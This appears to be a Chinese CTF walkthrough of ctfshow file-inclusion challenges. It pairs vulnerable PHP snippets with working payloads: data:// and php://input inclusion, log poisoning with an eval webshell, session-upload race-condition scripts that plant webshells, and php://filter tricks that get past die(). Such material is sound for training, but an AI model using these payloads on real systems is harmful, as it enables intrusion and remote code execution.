Web78

<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
//?file=data:text/plain,<?php system('cat flag.php');?>

Web79

<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
//?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

Web80

<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
//?file=../../../../../../../var/log/nginx/access.log

包含日志文件,查看日志文件的信息,可以看到日志文件中保存了网站的访问记录,包括HTTP请求行,User-Agent等HTTP请求的信息

在User-Agent中插入一句话木马

<?php eval($_POST['-7'])?>

用蚁剑连接 发现目录的fl0g.php

方法二:

发现可以大小写绕过

?file=pHp://input

post传参

<?php system("cat fl0g.php");?>

Web81

<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

比Web80多过滤了:但方法一的访问日志UA头插入一句话木马仍旧可用

Web82(条件竞争 session.use_strict_mode=off Cookie中sessionid可控)

<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

方法一:

利用脚本

import requests
import io
import threading url='http://275a3cc3-3c6b-4382-a70b-141a4cce4638.challenge.ctf.show/'
sessionid='ctfshow'
data={
"1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"
} '''
post 传递内容可在网站目录下写入一句话木马。
根据资料,内容暂存在 /tmp/ 目录下 sess_sessionid 文件。
sessionid 可控,所以这里即 /tmp/sess_ctfshow。
这样一旦访问成功,就说明木马植入了
''' # /tmp/sess_sessionid 中写入一句话木马。
def write(session):
fileBytes = io.BytesIO(b'a'*1024*50)
while True:
response=session.post(
url,
data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('ctfshow.jpg',fileBytes)
}
) # 访问 /tmp/sess_sessionid,post 传递信息,保存新木马。
def read(session):
while True:
response=session.post(
url+'?file=/tmp/sess_'+sessionid,
data=data,
cookies={
'PHPSESSID':sessionid
}
)
# 访问木马文件,如果访问到了就代表竞争成功
resposne2=session.get(url+'muma.php')
if resposne2.status_code==200:
print('++++++done++++++')
else:
print(resposne2.status_code) if __name__ == '__main__': evnet=threading.Event()
# 写入和访问分别设置 5 个线程。
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start() evnet.set()

运行成功后 蚁剑连接或者bp发包

还有一个常规的脚本

import io
import requests
import threading
sessid = 'jiuzhen'
data = {1:"system('cat fl0g.php');"}
url='http://9a77fcb3-6f3c-4bd6-a247-07bfe6766509.challenge.ctf.show:8080/'
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>jiuzhen'}, files={'file': ('jiuzhen.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post(url+'?file=/tmp/sess_'+sessid,data=data)
if 'jiuzhen' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start() for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()

方法二:

直接用bp

如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_flag”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

但是问题来了,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,

此时我们可以利用竞争,在session文件内容清空前进行包含利用。

先构造一个文件上传

<!DOCTYPE html>
<html>
<body>
<form action="http://95032c6e-7d27-41c8-aff1-4c36831c85ab.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

我们一共抓两个包

第一个包,我们添加一个Cookie: PHPSESSID=flag,在/tmp/sess_PHPSESSID目录下,PHP将会在服务器上创建一个文件:/tmp/sess_flag 然后我们在PHP_SESSION_UPLOAD_PROGRESS下添加我们的执行代码即可

因为我们在上面这个页面添加的ID值是flag,所以传参?file=/tmp/sess_flag

两个一起发包

Web83~Web86

Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php /*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 20:28:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com */
session_unset();
session_destroy(); if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file); include($file);
}else{
highlight_file(__FILE__);
}

warning提示了 ,所以表单构造需要重新构造,多了 session_start();

<!DOCTYPE html>
<html>
<body>
<form action="http://668ba926-9165-49e7-92fb-c94a08d54feb.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

同时82-86用py脚本都能跑

Web84

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 20:40:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com */ if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}

Web85

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 20:59:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com */ if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
} }else{
highlight_file(__FILE__);
}

Web86

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:20:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com */
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file); }else{
highlight_file(__FILE__);
}

Web87(绕过die)

<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); }else{
highlight_file(__FILE__);
}

这题有两个参数,将content的值写入File中,但开头增加了die,导致我们即使写入一句话,也执行不了,所以我们要绕过die

https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#_1
p神的谈一谈php://filter的妙用 <?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content); 使用php://filter流的base64-decode方法,将$content解码,base64编码只包含64个可打印字符,而php在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。所以,一个正常的base64_decode实际上可以理解为: <?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']); 所以当$content被加上了<?php exit;?>以后,我们可以使用php://filter/write=convert.base64-decode来解码。在解码的过程中,字符< ? ; > 空格等不符合base64编码的字符范围将被忽略,最终被解码为"phpexit"和我们传入的其他字符 "phpexit"一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加一个"a"一共8个字符。这样"phpexita"就会被正常解码,而后面我们传入的webshell的base64内容也会被正常解码。

本题中的phpdie一共为6个字符,所以我们解码的时候需要再添加两个字符,比如"aa"

file=php://filter/write=convert.base64-decode/resource=1.php
(file里的内容需要进行两次url编码)
content=aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

然后访问/1.php 执行命令

Web88

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com */
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
//?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOyA/Pg
(base64编码的时候要去掉末尾的"=")
//?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmwwZy5waHAiKTs/Pg

Web116

题目给我们的是一个视频 放到随波逐流分析 formost一下 得到一张png

/?file=flag.php

Web117(绕过die之base64,rot13,string被过滤)

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

需要在绕过filter函数过滤的基础上,再来绕过死亡函数。base64,rot13,string这些都被过滤了,因为正则匹配是针对url解码后的内容进行的。

把一句话木马从UCS-2LE编码转换为UCS-2BE编码:

<?php
$re = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_GET[1]);?>');
echo $re;
?>

得到

?<hp pe@av(l_$EG[T]1;)>?
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
contents=?<hp pe@av(l_$EG[T]1;)>?

然后访问/1.php

/1.php?1=system("cat flag.php");

ctfshow web入门 文件包含全部wp的更多相关文章

  1. ctfshow web入门部分题目 (更新中)

    CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...

  2. ctfshow_web入门 文件包含 学习

    文件包含 额,这是一个做题带学习的一个笔记 算是半做题,半学习的笔记吧,所以能写的方法和注解都会写.难免先得啰嗦 由于截图都是白色背景,所以使用夜间模式(右上角哦~)观看比较易于区分图片与浏览器背景 ...

  3. 应用安全 - Web安全 - 文件包含攻防

    LFI - 无限制本地文件包含 通过目录遍历漏洞可以获取到系统中其他文件的内容 常见的敏感信息路径 Windows系统 c:\boot.ini // 查看系统版本 c:\windows\system3 ...

  4. web安全~文件包含总结

    文章来自freebuf,作者总结的很好,所以拿来做笔记用!!! 0×01 文件包含简介 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大 ...

  5. ctfshow web入门 命令执行 web29-36

    29-36 全是基于get传参执行 eval() 函数,均采用黑名单匹配,不同点在于黑名单的变化 web29 1 error_reporting(0); 2 if(isset($_GET['c'])) ...

  6. 【CTF WEB】文件包含

    文件包含 题目要求: 请找到题目中FLAG 漏洞源码 <meta charset='utf-8'> <center><h1>文件阅读器</h1>< ...

  7. ctfshow web入门 命令执行 37-39

    37-39 基于 GET 传参的 include() 38.39 是 37 的变种 分析 伪协议常用于文件包含漏洞中 文件包含函数有:include.include_once.require.requ ...

  8. ctfshow web入门 命令执行 web58-71

    都是 POST传递参数 执行 eval() 函数 web58 if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_f ...

  9. ctfshow WEB入门 信息收集 1-20

    web1 题目:开发注释未及时删除 查看页面源代码即可 web2 题目:js把鼠标右键和f12屏蔽了 方法一: 禁用JavaScript 方法二: url前面加上view-source: web3 题 ...

  10. ctfshow web入门41

    这个题过滤了$.+.-.^.~使得异或自增和取反构造字符都无法使用,同时甚至过滤了字母和数字. 但是特意留了个或运算符|. 由此我们可以尝试从ascii为0-255的字符中,找到用或运算能得到我们可用 ...

随机推荐

  1. 一文聊清楚Redis主从复制原理

    本地缓存带来的挑战 分布式缓存相比于本地缓存,在实现层面需要关注的点有哪些不同.梳理如下: 维度 本地缓存 集中式缓存 缓存量 受限于单机内存大小,存储数据有限 需要提供给分布式系统里面所有节点共同使 ...

  2. 远程连接利器:玩转MobaXterm

    今天这篇文章轻松不烧脑,主要是想和大家分享一下我在工作中常用的远程管理工具--MobaXterm.这款工具不仅功能强大,而且在日常的远程操作中极为高效,特别适合用来管理远程服务器.MobaXterm结 ...

  3. 前端每日一知之让Chrome支持小于12px的文字

    脑图在线链接 本文内容依据[js每日一题]公众号精彩文章总结而来

  4. vtkDelaunay2D 错误 Edge not recovered, polygon fill suspect

    vtkDelaunay2D 在设定SetSourceData边界处理凹多边形时,不稳定,有概率会出现"Edge not recovered, polygon fill suspect&quo ...

  5. k8s单节点改为高可用和更新证书

    master单节点添加master节点 apiServer添加域名更新证书 更新kubenertes证书有效期 环境 kubernetes v1.22.12 使用kubeadm安装的集群 #添加节点 ...

  6. 深入理解二叉查找树(BST)的重要查找操作

    二叉查找树 (Binary Search Tree, 简称 BST) 是一种基本的数据结构,其设计核心在于每个节点的值都满足以下性质: 左子树的所有节点值均小于当前节点值. 右子树的所有节点值均大于当 ...

  7. 【sprinb-boot】@ComponentScan 跳过扫描 excludeFilters

    @ComponentScan(excludeFilters = @ComponentScan.Filter(type = FilterType.ANNOTATION, classes = {Contr ...

  8. 鸿蒙OS开发秘籍:打造优雅的登录状态管理系统

    一.前言 在鸿蒙OS开发过程中,随着应用规模的扩大,登录状态管理逐渐成为系统设计中的一个挑战.一个清晰.高效的登录状态管理系统不仅可以简化开发流程,还能提升用户体验.本文将分享一种优雅的登录状态管理设 ...

  9. StarRocks元数据无法合并

    一.先说结论 如果您的StarRocks版本在3.1.4及以下,并且使用了metadata_journal_skip_bad_journal_ids来跳过某个异常的journal,结果之后就出现了FE ...

  10. [转]解决Spring Data Jpa 实体类自动创建数据库表失败问题

    先说一下我遇到的这个问题,首先我是通过maven创建了一个spring boot的工程,引入了Spring data jpa,结果实体类创建好之后,运行工程却没有在数据库中自动创建数据表. 找了半天发 ...